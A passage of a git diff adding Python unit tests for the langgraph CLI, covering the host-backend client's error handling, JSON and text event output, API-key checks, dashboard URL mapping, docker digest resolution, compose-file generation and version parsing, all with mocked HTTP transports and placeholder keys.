+    def _make_client(self, handler):
+        c = HostBackendClient("https://api.example.com", "test-key")
+        c._client = httpx.Client(
+            base_url="https://api.example.com",
+            transport=httpx.MockTransport(handler),
+            headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+            timeout=30,
+        )
+        return c
+
+    def _make_eu_client(self, handler):
+        c = HostBackendClient("https://eu.api.host.langchain.com", "test-key")
+        c._client = httpx.Client(
+            base_url="https://eu.api.host.langchain.com",
+            transport=httpx.MockTransport(handler),
+            headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+            timeout=30,
+        )
+        return c
+
+    def test_success_passes_through(self):
+        client = self._make_client(lambda req: httpx.Response(200, json={"ok": True}))
+        result = _call_host_backend_with_optional_tenant(
+            client, lambda c: c.list_deployments()
+        )
+        assert result == {"ok": True}
+
+    def test_403_not_enabled_gives_actionable_error(self):
+        detail = (
+            '{"detail":"LangSmith Deployment is not enabled for this organization"}'
+        )
+        client = self._make_client(lambda req: httpx.Response(403, text=detail))
+        with pytest.raises(HostBackendError, match="not enabled") as exc_info:
+            _call_host_backend_with_optional_tenant(
+                client, lambda c: c.list_deployments()
+            )
+        assert exc_info.value.status_code == 403
+        assert "smith.langchain.com" in exc_info.value.message
+
+    def test_403_not_enabled_eu_url(self):
+        detail = (
+            '{"detail":"LangSmith Deployment is not enabled for this organization"}'
+        )
+        client = self._make_eu_client(lambda req: httpx.Response(403, text=detail))
+        with pytest.raises(HostBackendError, match="not enabled") as exc_info:
+            _call_host_backend_with_optional_tenant(
+                client, lambda c: c.list_deployments()
+            )
+        assert "eu.smith.langchain.com" in exc_info.value.message
+
+    def test_workspace_retry_then_not_enabled_gives_actionable_error(self, monkeypatch):
+        requires_workspace = '{"detail":"requires workspace specification"}'
+        not_enabled = (
+            '{"detail":"LangSmith Deployment is not enabled for this organization"}'
+        )
+        seen_tenant_ids = []
+
+        def handler(req):
+            seen_tenant_ids.append(req.headers.get("X-Tenant-ID"))
+            if len(seen_tenant_ids) == 1:
+                return httpx.Response(403, text=requires_workspace)
+            if len(seen_tenant_ids) == 2:
+                return httpx.Response(403, text=not_enabled)
+            raise AssertionError("unexpected extra request")
+
+        monkeypatch.setattr(click, "prompt", lambda _text: "workspace-123")
+        client = self._make_client(handler)
+
+        with pytest.raises(HostBackendError, match="not enabled") as exc_info:
+            _call_host_backend_with_optional_tenant(
+                client, lambda c: c.list_deployments()
+            )
+
+        assert exc_info.value.status_code == 403
+        assert "smith.langchain.com" in exc_info.value.message
+        assert seen_tenant_ids == [None, "workspace-123"]
+        assert client._client.headers["X-Tenant-ID"] == "workspace-123"
+
+    def test_other_403_re_raises_original(self):
+        client = self._make_client(
+            lambda req: httpx.Response(403, text='{"detail":"some other error"}')
+        )
+        with pytest.raises(HostBackendError, match="some other error"):
+            _call_host_backend_with_optional_tenant(
+                client, lambda c: c.list_deployments()
+            )
+
+    def test_workspace_prompt_blocked_by_no_input(self, monkeypatch):
+        """With _no_input=True, 403 requiring workspace should raise ClickException."""
+        import langgraph_cli.deploy as deploy_mod
+
+        monkeypatch.setattr(deploy_mod, "_no_input", True)
+
+        requires_workspace = '{"detail":"requires workspace specification"}'
+        client = self._make_client(
+            lambda req: httpx.Response(403, text=requires_workspace)
+        )
+        with pytest.raises(click.ClickException, match="workspace"):
+            _call_host_backend_with_optional_tenant(
+                client, lambda c: c.list_deployments()
+            )
+
+
+# ---------------------------------------------------------------------------
+# _Emitter JSON mode
+# ---------------------------------------------------------------------------
+
+
+class TestEmitterJsonMode:
+    """Verify that _Emitter in json_mode writes valid JSON-lines to stdout."""
+
+    def _capture(self, fn):
+        """Run fn with stdout captured and return parsed JSON objects."""
+        buf = io.StringIO()
+        old = sys.stdout
+        sys.stdout = buf
+        try:
+            fn()
+        finally:
+            sys.stdout = old
+        lines = [line for line in buf.getvalue().splitlines() if line.strip()]
+        return [json.loads(line) for line in lines]
+
+    def test_step_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.step(1, "Building image"))
+        assert len(events) == 1
+        assert events[0]["event"] == "step"
+        assert events[0]["step"] == 1
+        assert events[0]["message"] == "Building image"
+
+    def test_info_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.info("All good"))
+        assert events[0]["event"] == "info"
+        assert events[0]["message"] == "All good"
+
+    def test_warn_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.warn("Careful"))
+        assert events[0]["event"] == "warn"
+
+    def test_error_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.error("Boom"))
+        assert events[0]["event"] == "error"
+        assert events[0]["message"] == "Boom"
+
+    def test_status_change_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.status_change("building", 12.345))
+        assert events[0]["event"] == "status_change"
+        assert events[0]["status"] == "building"
+        assert events[0]["elapsed_seconds"] == 12.3
+        assert events[0]["message"] == "building... (12s)"
+
+    def test_status_change_event_with_minutes(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.status_change("deploying", 95.0))
+        assert events[0]["message"] == "deploying... (1m 35s)"
+
+    def test_log_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.log("some output"))
+        assert events[0] == {"event": "log", "message": "some output"}
+
+    def test_status_url_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(
+            lambda: em.status_url("https://smith.langchain.com/deploy/123")
+        )
+        assert events[0]["event"] == "status_url"
+        assert events[0]["url"] == "https://smith.langchain.com/deploy/123"
+
+    def test_result_event_full(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(
+            lambda: em.result(
+                "succeeded",
+                deployment_id="dep-1",
+                url="https://app.example.com",
+                status_url="https://smith.langchain.com/deploy/dep-1",
+            )
+        )
+        assert events[0]["event"] == "result"
+        assert events[0]["status"] == "succeeded"
+        assert events[0]["deployment_id"] == "dep-1"
+        assert events[0]["message"] == "Deployment successful!"
+        assert events[0]["url"] == "https://app.example.com"
+        assert events[0]["status_url"] == "https://smith.langchain.com/deploy/dep-1"
+
+    def test_result_event_minimal(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.result("failed", deployment_id="dep-2"))
+        assert events[0]["event"] == "result"
+        assert events[0]["status"] == "failed"
+        assert events[0]["message"] == "Deployment failed"
+        assert "url" not in events[0]
+        assert "status_url" not in events[0]
+
+    def test_heartbeat_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.heartbeat("building", 30.789))
+        assert events[0]["event"] == "heartbeat"
+        assert events[0]["elapsed_seconds"] == 30.8
+        assert events[0]["message"] == "building... (30s)"
+
+    def test_heartbeat_silent_in_text_mode(self, capsys):
+        em = _Emitter(json_mode=False)
+        em.heartbeat("building", 10.0)
+        captured = capsys.readouterr()
+        assert captured.out == ""
+
+    def test_upload_progress_event(self):
+        em = _Emitter(json_mode=True)
+        events = self._capture(lambda: em.upload_progress(5.678, 42))
+        assert events[0]["event"] == "upload_progress"
+        assert events[0]["size_mb"] == 5.7
+        assert events[0]["pct"] == 42
+
+
+# ---------------------------------------------------------------------------
+# _Emitter text mode (non-json)
+# ---------------------------------------------------------------------------
+
+
+class TestEmitterTextMode:
+    """Verify that _Emitter in text mode uses click.echo/click.secho."""
+
+    def test_step_writes_text(self, capsys):
+        em = _Emitter(json_mode=False)
+        em.step(1, "Hello")
+        captured = capsys.readouterr()
+        assert "1. Hello" in captured.out
+
+    def test_log_writes_text(self, capsys):
+        em = _Emitter(json_mode=False)
+        em.log("my line")
+        captured = capsys.readouterr()
+        assert "my line" in captured.out
+
+    def test_result_succeeded_text(self, capsys):
+        em = _Emitter(json_mode=False)
+        em.result("succeeded", deployment_id="d1", url="https://app.test")
+        captured = capsys.readouterr()
+        lines = [line.strip() for line in captured.out.splitlines() if line.strip()]
+        assert "Deployment successful!" in lines
+        assert "URL: https://app.test" in lines
+
+
+# ---------------------------------------------------------------------------
+# --no-input guard on _create_host_backend_client
+# ---------------------------------------------------------------------------
+
+
+class TestCreateHostBackendClientNoInput:
+    def test_raises_when_no_api_key_and_no_input(self, monkeypatch, tmp_path):
+        import langgraph_cli.deploy as deploy_mod
+
+        monkeypatch.setattr(deploy_mod, "_no_input", True)
+        monkeypatch.delenv("LANGSMITH_API_KEY", raising=False)
+        monkeypatch.delenv("LANGCHAIN_API_KEY", raising=False)
+        monkeypatch.delenv("LANGGRAPH_HOST_API_KEY", raising=False)
+
+        with pytest.raises(click.ClickException, match="API key"):
+            _create_host_backend_client(
+                host_url="https://api.example.com",
+                api_key=None,
+                env_vars={},
+            )
+
+    def test_succeeds_with_api_key_in_env(self, monkeypatch, tmp_path):
+        import langgraph_cli.deploy as deploy_mod
+
+        monkeypatch.setattr(deploy_mod, "_no_input", True)
+        monkeypatch.setenv("LANGSMITH_API_KEY", "lsv2_test")
+
+        client = _create_host_backend_client(
+            host_url="https://api.example.com",
+            api_key=None,
+            env_vars={},
+        )
+        assert client is not None
+
+
+class TestSmithDashboardBaseUrl:
+    def test_none_returns_default(self):
+        assert _smith_dashboard_base_url(None) == "https://smith.langchain.com"
+
+    def test_empty_returns_default(self):
+        assert _smith_dashboard_base_url("") == "https://smith.langchain.com"
+
+    def test_prod_host_url(self):
+        assert (
+            _smith_dashboard_base_url("https://api.host.langchain.com")
+            == "https://smith.langchain.com"
+        )
+
+    def test_dev_host_url(self):
+        assert (
+            _smith_dashboard_base_url("https://dev.api.host.langchain.com")
+            == "https://dev.smith.langchain.com"
+        )
+
+    def test_eu_host_url(self):
+        assert (
+            _smith_dashboard_base_url("https://eu.api.host.langchain.com")
+            == "https://eu.smith.langchain.com"
+        )
+
+    def test_staging_host_url(self):
+        assert (
+            _smith_dashboard_base_url("https://staging.api.host.langchain.com")
+            == "https://staging.smith.langchain.com"
+        )
+
+    def test_localhost(self):
+        assert (
+            _smith_dashboard_base_url("http://localhost:8080")
+            == "http://localhost:8080"
+        )
+
+    def test_localhost_trailing_slash(self):
+        assert (
+            _smith_dashboard_base_url("http://localhost:8080/")
+            == "http://localhost:8080"
+        )
+
+    def test_127_0_0_1(self):
+        assert (
+            _smith_dashboard_base_url("http://127.0.0.1:3000")
+            == "http://127.0.0.1:3000"
+        )
+
+    def test_unknown_domain_returns_default(self):
+        assert (
+            _smith_dashboard_base_url("https://custom.example.com")
+            == "https://smith.langchain.com"
+        )
+
+
+class TestResolvePushedImageDigest:
+    """Tests for ``_resolve_pushed_image_digest`` — runner is mocked to
+    return the ``(stdout, stderr)`` tuple that ``subp_exec(collect=True)``
+    would produce.
+    """
+
+    @staticmethod
+    def _runner(stdout: str | None) -> MagicMock:
+        # Close the unawaited subp_exec coroutine to silence gc warnings.
+        runner = MagicMock()
+
+        def _run(coro, *args, **kwargs):
+            if hasattr(coro, "close"):
+                coro.close()
+            return (stdout, "")
+
+        runner.run.side_effect = _run
+        return runner
+
+    def test_happy_path_returns_digest(self):
+        runner = self._runner('["us-central1-docker.pkg.dev/proj/repo@sha256:abc123"]')
+        out = _resolve_pushed_image_digest(
+            runner,
+            remote_image="us-central1-docker.pkg.dev/proj/repo:latest",
+            docker_config_dir=None,
+            verbose=False,
+        )
+        assert out == "us-central1-docker.pkg.dev/proj/repo@sha256:abc123"
+
+    def test_filters_to_matching_repo(self):
+        # Same image ID can hold digests for multiple repos — pick the one
+        # matching the just-pushed repo.
+        runner = self._runner(
+            json.dumps(
+                [
+                    "other-registry.example.com/some/repo@sha256:000000",
+                    "us-central1-docker.pkg.dev/proj/repo@sha256:abc123",
+                ]
+            )
+        )
+        out = _resolve_pushed_image_digest(
+            runner,
+            remote_image="us-central1-docker.pkg.dev/proj/repo:v1.2.3",
+            docker_config_dir=None,
+            verbose=False,
+        )
+        assert out == "us-central1-docker.pkg.dev/proj/repo@sha256:abc123"
+
+    def test_empty_repodigests_falls_back_with_warning(self, mocker):
+        emitter = mocker.MagicMock()
+        mocker.patch("langgraph_cli.deploy._get_emitter", return_value=emitter)
+        runner = self._runner("[]")
+        remote = "us-central1-docker.pkg.dev/proj/repo:latest"
+        out = _resolve_pushed_image_digest(
+            runner,
+            remote_image=remote,
+            docker_config_dir=None,
+            verbose=False,
+        )
+        assert out == remote
+        assert emitter.warn.called
+        assert remote in emitter.warn.call_args.args[0]
+
+    def test_null_repodigests_falls_back_with_warning(self, mocker):
+        # ``docker inspect --format '{{json .RepoDigests}}'`` emits ``null``
+        # when the field is absent.
+        emitter = mocker.MagicMock()
+        mocker.patch("langgraph_cli.deploy._get_emitter", return_value=emitter)
+        runner = self._runner("null")
+        remote = "us-central1-docker.pkg.dev/proj/repo:latest"
+        out = _resolve_pushed_image_digest(
+            runner,
+            remote_image=remote,
+            docker_config_dir=None,
+            verbose=False,
+        )
+        assert out == remote
+        assert emitter.warn.called
+
+    def test_no_matching_repo_falls_back_with_warning(self, mocker):
+        # No matching digest for the pushed repo — warn and fall back to the
+        # tag-based ref rather than failing the deploy.
+        emitter = mocker.MagicMock()
+        mocker.patch("langgraph_cli.deploy._get_emitter", return_value=emitter)
+        runner = self._runner('["other-registry.example.com/some/repo@sha256:000000"]')
+        remote = "us-central1-docker.pkg.dev/proj/repo:latest"
+        out = _resolve_pushed_image_digest(
+            runner,
+            remote_image=remote,
+            docker_config_dir=None,
+            verbose=False,
+        )
+        assert out == remote
+        assert emitter.warn.called
+
+    def test_registry_with_port_in_host(self):
+        # Only the rightmost ``:`` (the ``:latest`` tag) should be stripped.
+        runner = self._runner('["localhost:5000/repo@sha256:deadbeef"]')
+        out = _resolve_pushed_image_digest(
+            runner,
+            remote_image="localhost:5000/repo:latest",
+            docker_config_dir=None,
+            verbose=False,
+        )
+        assert out == "localhost:5000/repo@sha256:deadbeef"
+
+    @staticmethod
+    def _capturing_runner(stdout: str) -> tuple[MagicMock, dict]:
+        """Like ``_runner`` but exposes the coroutine for arg introspection.
+        Caller must close ``captured["coro"]``.
+        """
+        runner = MagicMock()
+        captured: dict = {}
+
+        def _run(coro, *args, **kwargs):
+            captured["coro"] = coro
+            return (stdout, "")
+
+        runner.run.side_effect = _run
+        return runner, captured
+
+    def test_passes_docker_config_dir(self):
+        runner, captured = self._capturing_runner(
+            '["us-central1-docker.pkg.dev/proj/repo@sha256:abc"]'
+        )
+        _resolve_pushed_image_digest(
+            runner,
+            remote_image="us-central1-docker.pkg.dev/proj/repo:latest",
+            docker_config_dir="/tmp/some-cfg",
+            verbose=False,
+        )
+        frame_locals = captured["coro"].cr_frame.f_locals
+        assert frame_locals["cmd"] == "docker"
+        assert "--config" in frame_locals["args"]
+        cfg_idx = frame_locals["args"].index("--config")
+        assert frame_locals["args"][cfg_idx + 1] == "/tmp/some-cfg"
+        captured["coro"].close()
+
+    def test_omits_docker_config_dir_when_none(self):
+        runner, captured = self._capturing_runner(
+            '["us-central1-docker.pkg.dev/proj/repo@sha256:abc"]'
+        )
+        _resolve_pushed_image_digest(
+            runner,
+            remote_image="us-central1-docker.pkg.dev/proj/repo:latest",
+            docker_config_dir=None,
+            verbose=False,
+        )
+        frame_locals = captured["coro"].cr_frame.f_locals
+        assert "--config" not in frame_locals["args"]
+        captured["coro"].close()
diff --git a/libs/cli/tests/unit_tests/test_docker.py b/libs/cli/tests/unit_tests/test_docker.py
new file mode 100644
index 0000000..b902b0f
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_docker.py
@@ -0,0 +1,442 @@
+import pytest
+
+from langgraph_cli.docker import (
+    DEFAULT_POSTGRES_URI,
+    DockerCapabilities,
+    Version,
+    _parse_version,
+    compose,
+)
+from langgraph_cli.util import clean_empty_lines
+
+DEFAULT_DOCKER_CAPABILITIES = DockerCapabilities(
+    version_docker=Version(26, 1, 1),
+    version_compose=Version(2, 27, 0),
+    healthcheck_start_interval=False,
+)
+
+
+def test_compose_with_no_debugger_and_custom_db():
+    port = 8123
+    custom_postgres_uri = "custom_postgres_uri"
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES, port=port, postgres_uri=custom_postgres_uri
+    )
+    expected_compose_str = f"""services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {custom_postgres_uri}"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_with_no_debugger_and_custom_db_with_healthcheck():
+    port = 8123
+    custom_postgres_uri = "custom_postgres_uri"
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES._replace(healthcheck_start_interval=True),
+        port=port,
+        postgres_uri=custom_postgres_uri,
+    )
+    expected_compose_str = f"""services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {custom_postgres_uri}
+        healthcheck:
+            test: python /api/healthcheck.py
+            interval: 60s
+            start_interval: 1s
+            start_period: 10s"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_with_debugger_and_custom_db():
+    port = 8123
+    custom_postgres_uri = "custom_postgres_uri"
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES,
+        port=port,
+        postgres_uri=custom_postgres_uri,
+    )
+    expected_compose_str = f"""services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {custom_postgres_uri}"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_with_debugger_and_default_db():
+    port = 8123
+    actual_compose_str = compose(DEFAULT_DOCKER_CAPABILITIES, port=port)
+    expected_compose_str = f"""volumes:
+    langgraph-data:
+        driver: local
+services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-postgres:
+        image: pgvector/pgvector:pg16
+        ports:
+            - "5433:5432"
+        environment:
+            POSTGRES_DB: postgres
+            POSTGRES_USER: postgres
+            POSTGRES_PASSWORD: postgres
+        command:
+            - postgres
+            - -c
+            - shared_preload_libraries=vector
+        volumes:
+            - langgraph-data:/var/lib/postgresql/data
+        healthcheck:
+            test: pg_isready -U postgres
+            start_period: 10s
+            timeout: 1s
+            retries: 5
+            interval: 5s
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+            langgraph-postgres:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {DEFAULT_POSTGRES_URI}"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_with_api_version():
+    """Test compose function with api_version parameter."""
+    port = 8123
+    api_version = "0.2.74"
+
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES, port=port, api_version=api_version
+    )
+
+    # The compose function should generate a compose file that doesn't directly
+    # reference the api_version, since it's handled in the docker tag creation
+    # when building the image. The compose function mainly sets up services.
+    expected_compose_str = f"""volumes:
+    langgraph-data:
+        driver: local
+services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-postgres:
+        image: pgvector/pgvector:pg16
+        ports:
+            - "5433:5432"
+        environment:
+            POSTGRES_DB: postgres
+            POSTGRES_USER: postgres
+            POSTGRES_PASSWORD: postgres
+        command:
+            - postgres
+            - -c
+            - shared_preload_libraries=vector
+        volumes:
+            - langgraph-data:/var/lib/postgresql/data
+        healthcheck:
+            test: pg_isready -U postgres
+            start_period: 10s
+            timeout: 1s
+            retries: 5
+            interval: 5s
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+            langgraph-postgres:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {DEFAULT_POSTGRES_URI}"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_with_api_version_and_base_image():
+    """Test compose function with both api_version and base_image parameters."""
+    port = 8123
+    api_version = "1.0.0"
+    base_image = "my-registry/custom-api"
+
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES,
+        port=port,
+        api_version=api_version,
+        base_image=base_image,
+    )
+
+    # Similar to the previous test - the compose function doesn't directly embed
+    # the api_version or base_image into the compose file since those are handled
+    # during the docker build process
+    expected_compose_str = f"""volumes:
+    langgraph-data:
+        driver: local
+services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-postgres:
+        image: pgvector/pgvector:pg16
+        ports:
+            - "5433:5432"
+        environment:
+            POSTGRES_DB: postgres
+            POSTGRES_USER: postgres
+            POSTGRES_PASSWORD: postgres
+        command:
+            - postgres
+            - -c
+            - shared_preload_libraries=vector
+        volumes:
+            - langgraph-data:/var/lib/postgresql/data
+        healthcheck:
+            test: pg_isready -U postgres
+            start_period: 10s
+            timeout: 1s
+            retries: 5
+            interval: 5s
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+            langgraph-postgres:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {DEFAULT_POSTGRES_URI}"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_with_api_version_and_custom_postgres():
+    """Test compose function with api_version and custom postgres URI."""
+    port = 8123
+    api_version = "0.2.74"
+    custom_postgres_uri = "postgresql://user:pass@external-db:5432/mydb"
+
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES,
+        port=port,
+        api_version=api_version,
+        postgres_uri=custom_postgres_uri,
+    )
+
+    expected_compose_str = f"""services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {custom_postgres_uri}"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_with_api_version_and_debugger():
+    """Test compose function with api_version and debugger port."""
+    port = 8123
+    debugger_port = 8001
+    api_version = "0.2.74"
+
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES,
+        port=port,
+        api_version=api_version,
+        debugger_port=debugger_port,
+    )
+
+    expected_compose_str = f"""volumes:
+    langgraph-data:
+        driver: local
+services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-postgres:
+        image: pgvector/pgvector:pg16
+        ports:
+            - "5433:5432"
+        environment:
+            POSTGRES_DB: postgres
+            POSTGRES_USER: postgres
+            POSTGRES_PASSWORD: postgres
+        command:
+            - postgres
+            - -c
+            - shared_preload_libraries=vector
+        volumes:
+            - langgraph-data:/var/lib/postgresql/data
+        healthcheck:
+            test: pg_isready -U postgres
+            start_period: 10s
+            timeout: 1s
+            retries: 5
+            interval: 5s
+    langgraph-debugger:
+        image: langchain/langgraph-debugger
+        restart: on-failure
+        depends_on:
+            langgraph-postgres:
+                condition: service_healthy
+        ports:
+            - "{debugger_port}:3968"
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+            langgraph-postgres:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {DEFAULT_POSTGRES_URI}"""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_distributed_mode_with_custom_db():
+    """Test compose with engine_runtime_mode='distributed' adds N_JOBS_PER_WORKER=0."""
+    port = 8123
+    custom_postgres_uri = "custom_postgres_uri"
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES,
+        port=port,
+        postgres_uri=custom_postgres_uri,
+        engine_runtime_mode="distributed",
+    )
+    expected_compose_str = f"""services:
+    langgraph-redis:
+        image: redis:6
+        healthcheck:
+            test: redis-cli ping
+            interval: 5s
+            timeout: 1s
+            retries: 5
+    langgraph-api:
+        ports:
+            - "{port}:8000"
+        depends_on:
+            langgraph-redis:
+                condition: service_healthy
+        environment:
+            REDIS_URI: redis://langgraph-redis:6379
+            POSTGRES_URI: {custom_postgres_uri}
+            N_JOBS_PER_WORKER: "0\""""
+    assert clean_empty_lines(actual_compose_str) == expected_compose_str
+
+
+def test_compose_distributed_mode_with_default_db():
+    """Test compose distributed mode with default DB includes N_JOBS_PER_WORKER=0."""
+    port = 8123
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES,
+        port=port,
+        engine_runtime_mode="distributed",
+    )
+    assert 'N_JOBS_PER_WORKER: "0"' in actual_compose_str
+    assert "langgraph-postgres:" in actual_compose_str
+    assert "langgraph-redis:" in actual_compose_str
+
+
+def test_compose_combined_mode_has_no_n_jobs():
+    """Test compose with default combined_queue_worker mode does NOT set N_JOBS_PER_WORKER."""
+    port = 8123
+    actual_compose_str = compose(
+        DEFAULT_DOCKER_CAPABILITIES,
+        port=port,
+        engine_runtime_mode="combined_queue_worker",
+    )
+    assert "N_JOBS_PER_WORKER" not in actual_compose_str
+
+
+@pytest.mark.parametrize(
+    "input_str,expected",
+    [
+        ("1.2.3", Version(1, 2, 3)),
+        ("v1.2.3", Version(1, 2, 3)),
+        ("1.2.3-alpha", Version(1, 2, 3)),
+        ("1.2.3+1", Version(1, 2, 3)),
+        ("1.2.3-alpha+build", Version(1, 2, 3)),
+        ("1.2", Version(1, 2, 0)),
+        ("1", Version(1, 0, 0)),
+        ("v28.1.1+1", Version(28, 1, 1)),
+        ("2.0.0-beta.1+exp.sha.5114f85", Version(2, 0, 0)),
+        ("v3.4.5-rc1+build.123", Version(3, 4, 5)),
+    ],
+)
+def test_parse_version_w_edge_cases(input_str, expected):
+    assert _parse_version(input_str) == expected
diff --git a/libs/cli/tests/unit_tests/test_host_backend.py b/libs/cli/tests/unit_tests/test_host_backend.py
new file mode 100644
index 0000000..85c2a93
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_host_backend.py
@@ -0,0 +1,289 @@
+import json
+
+import httpx
+import pytest
+
+from langgraph_cli.host_backend import HostBackendClient, HostBackendError
+
+
+@pytest.fixture
+def mock_transport():
+    return httpx.MockTransport(lambda req: httpx.Response(200, json={"ok": True}))
+
+
+@pytest.fixture
+def client(mock_transport):
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=mock_transport,
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    return c
+
+
+def test_constructor_strips_trailing_slash():
+    c = HostBackendClient("https://api.example.com/", "key")
+    assert str(c._client.base_url) == "https://api.example.com"
+
+
+def test_constructor_empty_url_raises():
+    with pytest.raises(Exception, match="Host backend URL is required"):
+        HostBackendClient("", "key")
+
+
+def test_request_sends_headers():
+    def handler(req: httpx.Request) -> httpx.Response:
+        assert req.headers["x-api-key"] == "test-key"
+        assert req.headers["accept"] == "application/json"
+        return httpx.Response(200, json={"ok": True})
+
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=httpx.MockTransport(handler),
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    result = c._request("GET", "/test")
+    assert result == {"ok": True}
+
+
+def test_request_sends_json_payload():
+    def handler(req: httpx.Request) -> httpx.Response:
+        assert req.headers["content-type"] == "application/json"
+        assert req.content == b'{"key":"value"}'
+        return httpx.Response(200, json={"created": True})
+
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=httpx.MockTransport(handler),
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    result = c._request("POST", "/test", {"key": "value"})
+    assert result == {"created": True}
+
+
+def test_request_empty_body_returns_none():
+    transport = httpx.MockTransport(lambda req: httpx.Response(200, content=b""))
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=transport,
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    assert c._request("DELETE", "/test") is None
+
+
+def test_request_http_error_raises():
+    transport = httpx.MockTransport(lambda req: httpx.Response(404, text="not found"))
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
+        transport=transport,
+        headers={"X-Api-Key": "test-key", "Accept": "application/json"},
+        timeout=30,
+    )
+    with pytest.raises(HostBackendError, match="404"):
+        c._request("GET", "/missing")
+
+
+def test_request_invalid_json_raises():
+    transport = httpx.MockTransport(
+        lambda req: httpx.Response(200, content=b"not json")
+    )
+    c = HostBackendClient("https://api.example.com", "test-key")
+    c._client = httpx.Client(
+        base_url="https://api.example.com",
